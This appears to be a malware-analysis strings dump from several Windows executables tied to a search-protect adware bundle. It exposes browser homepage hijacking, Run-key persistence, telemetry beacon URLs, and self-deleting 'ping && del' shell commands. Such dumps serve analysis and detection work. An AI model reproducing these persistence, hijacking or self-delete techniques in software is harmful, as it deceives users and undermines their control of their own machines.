[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration

[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration

WININET.DLL

Gkernel32.dll

d/d/%d d:d:d::d

[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d

"%s" "%s"

"%s" %s

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

[ACCELINFO::OnDeserialize] ___Error get URL

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings

Hcomctl32.dll

Hcomdlg32.dll

Hshell32.dll

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

commctrl_DragListMsg

Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

ntdll.dll

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

mfcm90u.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

J.INI

J.com

DLG_%u

PID%u

les (x86)\YouTube Accelerator\YouTubeAccelerator.exe

Important:

Port:

Contact Our Support

See supported video sites

Join Today!

2.0.5.3

Watch YouTube and other web videos without pauses.

Twitter login

Password:

Enter your username and password for Twitter:

<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>

Communications test failed.JWe believe it might be a Security / Firewall issue.

For additional information, contact our support at:

hXXp://@[email protected]/support/

hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.

hXXp://@[email protected]/support/

Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address

(e.g. sample.proxy.com, 192.168.1.100)

@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium

lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...

@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:

@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.

@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.

HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.

Supported Video Sites

Every web video just got better

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

3.3.8.9

ProtectWindowsManager.exe_2496:

.text

`.rdata

@.data

.rsrc

@.reloc

j.Yf;

_tcPVj@

.PjRW

SHELL32.dll

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

MaxPolicyElementKey

pExecutionResource

SHLWAPI.dll

USERENV.dll

%dYeArdMoNthdDaY

file_url

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0 %s

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

ShellExecuteExW

SHDeleteKeyW

GetWindowsDirectoryA

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegCreateKeyExW

RegCloseKey

RegOpenKeyExW

RegCreateKeyW

ReportEventW

RegOpenKeyW

ADVAPI32.dll

PSAPI.DLL

InternetCrackUrlW

WININET.dll

WS2_32.dll

WinHttpReceiveResponse

WinHttpSetTimeouts

WinHttpSetOption

WinHttpGetIEProxyConfigForCurrentUser

WinHttpSendRequest

WinHttpWriteData

WinHttpConnect

WinHttpCloseHandle

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpOpen

WinHttpOpenRequest

WinHttpGetProxyForUrl

WinHttpCrackUrl

WinHttpReadData

WinHttpAddRequestHeaders

WINHTTP.dll

SensApi.dll

VERSION.dll

GetCPInfo

.?AVunsupported_os@Concurrency@@

.?AVinvalid_scheduler_policy_key@Concurrency@@

.?AVinvalid_operation@Concurrency@@

.?AVinvalid_oversubscribe_operation@Concurrency@@

.?AUITopologyExecutionResource@Concurrency@@

.?AVExecutionResource@details@Concurrency@@

.?AUIExecutionResource@Concurrency@@

.?AUIExecutionContext@Concurrency@@

zcÁ

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

? ?$?(?,?0?4?~?

5#505:5`5

=#='= =/=3=

;!;0;7;^;

<!<%<)<-<1<5<$=0=

9-92989?9

5 5$5(5,505

5 5$5(5,5054585

7$<(<,<0<4<8<<<@<

< <(<4<<<

3 3$3(3,30383<3

combase.dll

kernel32.dll

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

USER32.DLL

portuguese-brazilian

advapi32.dll

\\.\PhysicalDrive%d

WindowsMangerProtect

SOFTWARE\supWindowsMangerProtect

xa.geoip

visit.heartbeat

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action0=%s&action1=visit&action2=%s&update0=ref,%s&update1=nation,%s&update2=language,%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s&update3=version,%s

Report Start.

C:\DoStartTEST.DAT

Report Heart beat.

ProtectWindowsManager.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

TypesSupported

%s is already installed

%s installed

%s failed to install. Error %d

%s is not installed

Could not remove %s. Error %d

WindowsProtectManger

Advapi32.dll

/c ping 127.0.0.1 -n 2 > nul && del

"%s" %s

psapi.dll

Explorer.exe

update.exe

%s_%s

\\.\Phys

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

..\Src\json\src\json_value.cpp

..\Src\json\src\json_reader.cpp

xxxx

WinHttpClient

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

..\Src\json\src\json_writer.cpp

Assertion failed: %s, file %s, line %d

WindowsMangerProtect Service

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe

WindowsMangerProtect service

SysTool PasSame LIMITED

Windows SysTool Service

20.0.0.1714

Windows SysTool.exe

ProtectService.exe_1956:

.text

`.rdata

@.data

.rsrc

@.reloc

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

file_url

E:\supsoft\SupSearchProtectV4\SearchProtect\Bin\Release\ProtectService.pdb

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegOpenKeyW

RegCloseKey

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

SHELL32.dll

MSVCP110.dll

InternetCrackUrlW

WININET.dll

WS2_32.dll

SHLWAPI.dll

MSVCR110.dll

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

_calloc_crt

__crtGetShowWindowMode

_amsg_exit

_wcmdln

__crtSetUnhandledExceptionFilter

WinHttpCloseHandle

WinHttpOpen

WinHttpSetTimeouts

WinHttpCrackUrl

WinHttpConnect

WinHttpOpenRequest

WinHttpSetOption

WinHttpAddRequestHeaders

WinHttpSendRequest

WinHttpGetIEProxyConfigForCurrentUser

WinHttpGetProxyForUrl

WinHttpWriteData

WinHttpReceiveResponse

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpReadData

WINHTTP.dll

SensApi.dll

VERSION.dll

PSAPI.DLL

USERENV.dll

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

2-2v2

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

WinHttpClient

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

xxxx

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

UpDateProcess.exe

hXXp://VVV.theviilage.com/searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s

g{2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D}

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

Report HeartBeat

cmdshell.exe

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=visit.heartbeat.%s&update0=ref,%s&update1=nation,%s&update2=language,%s&update3=version,%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action0=xa.geoip&action1=visit&action2=install

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=uninstall

explorer.exe

Advapi32.dll

"%s" %s

psapi.dll

Explorer.exe

json_value.cpp

ljson_reader.cpp

ProtectSvc.exe

4.0.1.1716

HPNotify.exe_1280:

.text

`.rdata

@.data

.rsrc

@.reloc

<9%uo

wszUrl

strUrlTemp

hKEY

strSelUrl

strUrl

strConfUrlTemp

strDsUrl

strHpUrl

strCmdLine

tCPW

%UUUU

e_GetBrowserCurrentHpUrl

e_GetBrowserCurrentDsUrl

URLDownloadToFileW

URLDownloadToFileW ret:0XX

Error : %d

inflate 1.1.3 Copyright 1995-1998 Mark Adler

1.1.3

monochrome

unsupported bit depth

`'\%D,3

Run-Time Check Failure #%d - %s

%s%s%p%s%ld%s%d%s

%s%s%s%s

RegOpenKeyExW

RegCloseKey

del /s/q %1\*.*

%suninstall.bat

E:\supsoft\SupSearchProtectV4\SearchProtect\bin\Release\HPNotify.pdb

KERNEL32.dll

GetKeyState

USER32.dll

GDI32.dll

ADVAPI32.dll

ShellExecuteW

ShellExecuteA

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHDeleteKeyW

SHLWAPI.dll

MSVCP110.dll

MSVCR110.dll

_calloc_crt

_CRT_RTC_INITW

__crtGetShowWindowMode

_amsg_exit

_wcmdln

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

__crtSetUnhandledExceptionFilter

GdiplusShutdown

gdiplus.dll

IMM32.dll

DeleteUrlCacheEntryW

WININET.dll

COMCTL32.dll

GetProcessHeap

#*1892 $

%,3:;4-&

.?AVCActiveXEnum@DuiLib@@

.?AVCWebBrowserUI@DuiLib@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />

3?3

1-2}2

77t7

9":,:6:@:

12u2

: :$:(:,:0:

4 4$4(4,404

>$?(?,?0?

2 2$2(2,20242

0 1@1\1|1

hXXp://VVV.bing.com/

hXXp://VVV.yahoo.com/

hXXp://VVV.google.com/

%sconf

web/?type=dspp&

web/?type=dspp

hXXp://VVV.v9.com/

Itemd

BrowserAction.dll

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

\\.\Scsi%d:

UrlEdit

conf.xml

hXXp://v9.com/license_agreement.html

hXXp://v9.com/privacy_policy.html

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.show.%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.other.%s

%stmp%d.tmp

urlmon.dll

main.xml

explorer.exe

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

IeWatchDog.dll

BrowerWatchFF.dll

BrowerWatchCH.dll

Global\GUID(6D05BFEC-4307-4649-8963-962A24345DF4)

msimg32.dll

User32.dll

WM_KEYDOWN

WM_KEYUP

WM_SYSKEYDOWN

WM_SYSKEYUP

0xX

keyboard

msftedit.dll

password

%s%s%s

Correct password required

%s\%s

WebBrowser

transshadow

transshadow1

dest='%d,%d,%d,%d'

dest='%d,%d,%d,%d' source='%d,%d,%d,%d'

source='%d,%d,%d,%d' dest='%d,%d,%d,%d'

M-d-d

WebBrowserUI

errorUrl

{D27CDB6E-AE6D-11CF-96B8-444553540000}

user32.dll

MSPDB110.DLL

ADVAPI32.DLL

/c ping 127.0.0.1 -n 2 > nul && del /s/q

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

%Program Files% (x86)\XTab\skin\

SupHPNot.exe

4,0,1,1716

SupHPNty.exe

WebPlayer.exe_3932:

.text

`.rdata

@.data

.rsrc

@.reloc

8%u:j

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

operator

GetProcessWindowStation

KERNEL32.dll

EnumWindows

USER32.dll

GDI32.dll

RegOpenKeyExW

RegCreateKeyExW

RegDeleteKeyW

RegCloseKey

RegEnumKeyExW

RegQueryInfoKeyW

ADVAPI32.dll

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

COMCTL32.dll

urlmon.dll

GetProcessHeap

GetCPInfo

.?AVIKeyValueStorage@@

.?AVCWebPlayerEventsCallback@@

.?AVCComWebPlayer@@

.?AV?$CComCoClass@VCComWebPlayer@@$1?GUID_NULL@@3U_GUID@@B@ATL@@

.?AV?$IDispatchDynamicImpl@VCComWebPlayer@@@@

.?AV?$CComObject@VCComWebPlayer@@@ATL@@

.?AVCWebPlayerView@@

.?AV?$CWindowImpl@VCWebPlayerView@@V?$CAxWindowT@VCWindow@ATL@@@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@

.?AV?$CTrayIcon@VCWebPlayerView@@@@

.?AV?$IDispEventImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B$1?LIBID_SHDocVw@@3U3@B$00$0A@VCComTypeInfoHolder@ATL@@@ATL@@

.?AV?$IDispEventSimpleImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AV?$_IDispEventLocator@$00$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

zcÁ

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

2 3$3(3,3

getWebBrowser

hXXps://

hXXp://

Advapi32.dll

Software\WebPlayer\

javascript.debug

javascript.show_errors

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

icons\main.ico

WebPlayerEngine

WebPlayer\

scripts\config.xml

window.placement

icons\tray.ico

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

mscoree.dll

KERNEL32.DLL

WUSER32.DLL

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe

&About WebPlayer

WebPlayer

Replace%Select the entire document

Arrange Icons/Arrange windows so they overlap

Cascade Windows5Arrange windows as non-overlapping tiles

Tile Windows5Arrange windows as non-overlapping tiles

Tile Windows(Split the active window into panes

1.1.0.0

WebPlayer.exe

EasyBurner.exe_4456:

.text

`.rdata

@.data

.rsrc

8%uvP

vSSSh

It.It It!It

Vh.qK

FTPjK

FtPj;

C.PjRV

Last chance to quit, starting %s write in %d seconds.

Writing pregap for track %d at %ld

%ld bytes in %d sectors on disk

Unsupported

M seconds

varirec=%d,

fs=%dm

gracetime=%d

cdrecord.exe

speed=%d

readcd.exe

%d,%d,%d

1.4.4

hhctrl.ocx

CLSID\{ADB880A6-D8FF-11CF-9377-00AA003B7A11}\InprocServer32

0123456789ABCDEFlibpng error: %s

libpng warning: %s

1.2.5

Unknown zTXt compression type %d

Incomplete compressed datastream in %s chunk

Data error in compressed datastream in %s chunk

Buffer error in compressed datastream in %s chunk

@gamma = (%d/100000)

gx=%f, gy=%f, bx=%f, by=%f

wx=%f, wy=%f, rx=%f, ry=%f

incorrect gamma=(%d/100000)

NULL row buffer for row %ld, pass %d

inflate 1.2.5 Copyright 1995-2010 Mark Adler

kernel32.dll

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

Broken pipe

Inappropriate I/O control operation

Operation not permitted

?#%X.y

portuguese-brazilian

operator

GetProcessWindowStation

USER32.DLL

GetASPI32SupportInfo

IMAGE%u

WINMM.dll

PeekNamedPipe

CreatePipe

KERNEL32.dll

UnhookWindowsHookEx

GetKeyState

SetWindowsHookExW

USER32.dll

GDI32.dll

COMDLG32.dll

RegDeleteKeyW

RegCloseKey

RegCreateKeyExW

RegOpenKeyExW

RegQueryInfoKeyW

RegEnumKeyExW

RegOpenKeyExA

ADVAPI32.dll

ShellExecuteW

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

COMCTL32.dll

VERSION.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

.?AVCImportSessionDlg@@

.?AV?$CDialogImpl@VCImportSessionDlg@@VCWindow@ATL@@@ATL@@

zcÁ

a:\F(

\.TdH

r.XmN

..abU

4r.no

8%dg5

,Ê!LLkO#"

.Ek%LJ

sbS7.QS{

%dJ"b

.LpWR7cS

K.LLk

.I%Fr

)-RV%X'

W)%s||

.uTbA J|

%X:?w

B\.HY

)%Xf&

l&y%C

Rs%dT

S:# %f

J.FT2&G

(..vrl~[AA

.IJ2<

Y{.EPqN

,%CT`

%X]m-

u)QM%F

dNA%s

k}.FW

,]iJ

;.fq4B'

\.Wy!

e%xed

.TIDATx

.LV6Y

c.zP$

.BJfu

h.Fee

%W].Wt`

-t.%d

.LS}'M

8%Cw^

H^^.Jq"

r.ITW\

2Ppcccccccccccccccccc%c

xOF.OF.OF.jdS

xOF.OF.OF.OF.\UA

qk\OF.OF.OF.OF.OF.OF.OF.

OF.OF.UM7OF.

___888444

.Ue444<<<

!!#$$%%&**,-

!#$$%***  ,-/:

))0:;<<<<

.Rnz_

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

2.01.01.a61

hXXp://VVV.easy-burner.com

Easy Burner comes with absolutely no warranty. This is free software, and you are welcome to redistribute it under certain conditions; please see License.txt for more information.

wUSER32.DLL

A (officially supported)

Version %s (unicode, %s)

\StringFileInfo\xx\FileVersion

Please visit hXXp://VVV.easy-burner.com for more information.

@.toc

Disc Images (*.iso, *.cue, *.img)

*.iso;*.cue;*.img

Raw Images (*.bin, *.raw)

*.bin;*.raw

All Files (*.*)

Disc Images (*.iso)

*.iso

::/how_to_use/working_with_projects/add_boot_image.html

%d %d

open "%s" type waveaudio alias seq

::/how_to_use/burn_options.html

shell32.dll

::/how_to_use/configuration.html

*.irl

A::/how_to_use/copy_data_disc.html

Warning: The command line is %d characters long. Trying to execute through shell.

Command line to run: %s

[%d,%d,%d] %s

Eject = %d, Simulate = %d.

Eject = %d, Simulate = %d, BUP = %d, Pad tracks = %d, Close = %d, Overburn = %d, Swab = %d, Ignore size = %d, Immed = %d, Audio master = %d, Forcespeed = %d, VariRec (enabled) = %d, VariRec (value) = %d, Clone = %d.

File = %s.

Eject = %d, Simulate = %d, BUP = %d, Pad tracks = %d, Close = %d, Method = %d, Overburn = %d, Swab = %d, Ignore size = %d, Immed = %d, Audio master = %d, Forcespeed = %d, VariRec (enabled) = %d, VariRec (value) = %d, Mode = %d.

sectors=%d-%d

Start = %d, End = %d.

-t %d %d

cdda2wav.exe

Eject = %d, Simulate = %d, BUP = %d, Pad tracks = %d, Close = %d, Overburn = %d, Swab = %d, Ignore size = %d, Immed = %d, Audio master = %d, Forcespeed = %d, VariRec (enabled) = %d, VariRec (value) = %d, Ignore read errors = %d.

Target: [%d,%d,%d] %s

Source: [%d,%d,%d] %s

Ignore read errors = %d, Clone = %d, Speed = %d.

Eject = %d, Simulate = %d, BUP = %d, Pad tracks = %d, Close = %d, Overburn = %d, Swab = %d, Ignore size = %d, Immed = %d, Audio master = %d, Forcespeed = %d, VariRec (enabled) = %d, VariRec (value) = %d, Data bytes %I64d.

Process exited with code: %d.

Method = %d, Force = %d, Eject = %d, Simulate = %d.

Warning: Unable to start the drive, aborting after %d retries.

.\Core2.cpp

Error: Unable to obtain file handle to "%s".

Error: Unable to open the output file: "%s".

Track length: d:d:d

Track span: %d-%d.

First and last disc track number: %d, %d.

Maximum read speed: %d KiB/s.

Track = %d.

Capacity list length: %d bytes.

Error: Unsupported media.

Block address: %u, block length: %u.

Retry on sector %u failed.

Warning: Failed to read sector range %u-%u

Error: The selected device does not support this kind of operation.

Error: Unable to read user data from disc (%u, %u).

A%d sectors/s (CD: %s, DVD: %s)

%d kB

::/how_to_use/device_configuration.html

[%d,%d,%d]

DVD R DL (%s %d)

DVD R (%s %d)

DVD RW (%s %d)

DVD-RW (%s %d)

DVD-R (%s %d)

DVD-RAM (%s %d)

DVD-ROM (%s %d)

Webdings

D::/how_to_use/erase_disc.html

D::/how_to_use/fixate_disc.html

Aimportsession

Error: Unable to read information about track %d.

CImportSessionDlg::UpdateDiscInfo

%s %u %s %u: %u-%u (%s %u)

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

Portuguese (Brazilian).irl

Italian.irl

French.irl

Spanish.irl

AEasyBurner.chm

Aexplorer.exe

Versions: MSW = %d.%d, IE = %d.%d, CC = %d.%d.

Started: %s%.2d:%.2d:%.2d.

Easy Burner version %s

Text Documents (*.txt)

*.txt

%d (%d)

::/infra_recorder/introduction.html

hXXp://VVV.easy-burner.com/%s

u-u-u u:u:u

An error occured when trying to register the directory monitor. As a result the Easy Burner explorer tree will not automatically synchronize with Windows Explorer.

ShellExecuteEx:

Imported session: %I64d-%I64d, %I64d.

Error: Failed to read track information when trying to import session.

Error: Invalid track selection in import session dialog.

CMainFrame::OnActionsImportsession

Project Files (*.irp)

*.irp

File List (*.txt,*.m3u)

*.txt;*.m3u

AWTL_CmdBar_InternalAutoPopupMsg

WTL_CmdBar_InternalGetBarMsg

%d%% - %s

ckEffects.exe

-host=%I64x -dim=%d,%d,%d,%d

dwmapi.dll

d3dx9_32.dll

d3d9.dll

d3d8thk.dll

A (%u)

Image%d

%s%.2d%.2d

::/how_to_use/working_with_projects/project_settings.html

AAll Files (*.*)

::/how_to_use/read_options.html

Easy Burner Projects|.irp

Raw Images|.bin, .raw

Disc Images|.iso, .cue

Settings.xml

irShell.dll

{8E8DAC3C-E7C5-4495-9903-430C1F38CF86}

AppID\irShell.DLL

{7022C5BB-445E-4300-99F2-0B7EDA907A53}

A%d min

(%s Bytes)

Preparing Operation

Please note that Windows 2000, XP and 2003 systems require administrator permissions to access disc devices. Often this can be circumvented by changing your system settings. Please consult the InfraRecorder FAQ in the manual for further information.

The project file "%s" could not be found on your computer. It will be removed from the project.

Cannot create directory "%s".

Directory "%s" does not exist. Do you want it to be created?

Could not import the file "%s".

Unable to import, does the selected source file exist?

Creating copy %d of %d.

Unable to import session, could not list disc contents.

Operation failed.

The destination folder already contains a file or folder named '%s'.

Reading sector %u (retry %u of %u).

Started to format disc in %s mode.

(unsupported media)

Drive Letter of %s %s %s

Read error in '%s' (0x%.8X != 0x%.8X).

The file '%s' could not be found on the disc.

Done verifying disc, %d read error(s) occured.

Verifying '%s'.

It's recommended to write a cloned disc using the raw96r or raw16 write method. The selected recorder supports none of these modes.

Encoding track (%s).

Encoded the audio file: %s.

Decoded the audio file: %s.

Failed to initialize the %s encoder (%d,%d,%d,%I64d).

Unable to find a suitable decoder for the audio file: %s.

The disc is %s, the last session is %s, the disc can %sbe erased.

Some recorders does not support all erase modes.

Done scanning track %d.

Done reading track %d.

The C2 error rate is %f%%.

Found %d bytes of C2 errors in %d sectors.

Writing pregap for track %d at %ld.

Writing track %d of %d at %.1fx speed.

Started to scan track %d.

Started to read track %d.

Started to write track %d.

Started to write disc in %s mode.

Started to close disc in %s mode.

Started to erase disc in %s mode.

Last chance to abort, operation will start in %d seconds.

Operation canceled.

Operation completed.

Preparing to perform the selected operation.

Total progress: %d%%

Support digital output on port 2

Support digital output on port 1

Support independent mute setting for each channel

Support individual channel volume settings

Support Individual Disc Present feature

Support changing side of disc

Support CD ejection via START/STOP command

Support C2 error pointers

Support Buffer Underrun Free recording

Support test writing (simulation)

Bus %d, Target %d, Lun %d

Properties of Track %d

DVD media found. DVD write support is not available in this version.

The directory structure is too deep for '%s' (%d), maximum allowed depth is %d.

Can't read source disc. Retrying from sector %d.

The file you are trying to add is not supported.

Unsupported sector size of %d bytes.

The disc is not rewritable or your recorder might not support the operation.

An error occured while trying to perform the selected operation.

Loading information from track %d.

Are you sure that you want to abort the operation? Aborting might damage your CD permanently.

Easy Burner has noticed that autorun is enabled. Leaving autorun enabled causes Windows to poll the CD drive while recording, which might damage your CD. Do you want to turn off autorun (recommended)?

The internal command line is too long for your system to handle. The length limit on your system is %d characters. Please try to shorten the file paths in your project and try again.

Error on sector %d not corrected.

The active character set could not be automatically detected. The registry suggests the following body character set: %s.

Unable to parse project file, it may be corrupt. The XML processor returned: %d.

Unable to load the configuration file, it may be corrupt. The XML processor returned: %d.

Unable to write to the registry. Your user account might not have permissions to perform the requested operation.

::/how_to_use/manage_tracks.html

Track %d.wav

Track %d.iso

Ad:d:d (%d)

VTS_%u_%u.%[^

File%d

uxtheme.dll

comctl32.dll

shlwapi.dll

%.02f %s

%d %s

KERNEL32.DLL

mscoree.dll

\\.\X:

\\.\SCSI%d:

[sptidriver]: unable to obtain device handle (%d, %d, %d, %s).

[sptidriver]: DeviceIoControl failed (%d; 0x%p, %d, 0x%p, %d, %d).

[sptidriver]: > sense key: 0x%x

wnaspi32.dll

[aspidriver]: unable to load aspi driver, wnaspi32.dll could not be loaded.

[aspidriver]: SendASPI32Command failed (0x%.2x, %d).

[aspidriver]: > sense key: 0x%x

Seek error in %s.

Could not read from %s.

Could not write to %s.

[mmcdevice]: unable to obtain device inquiry data from %d,%d,%d.

[mmcdevice]: requesting configuration with buffer size %d failed.

[mmcdevice]: invalid page code 0x%x.

Error: Unable to find child node "%s" in path "%s".

Error: Unable to find child node "%s".

VIDEO_TS.IFO

VTS_d_0.IFO

VIDEO_TS.BUP

VTS_d_0.BUP

VIDEO_TS.VOB

VTS_d_0.VOB

VTS_d_%d.VOB

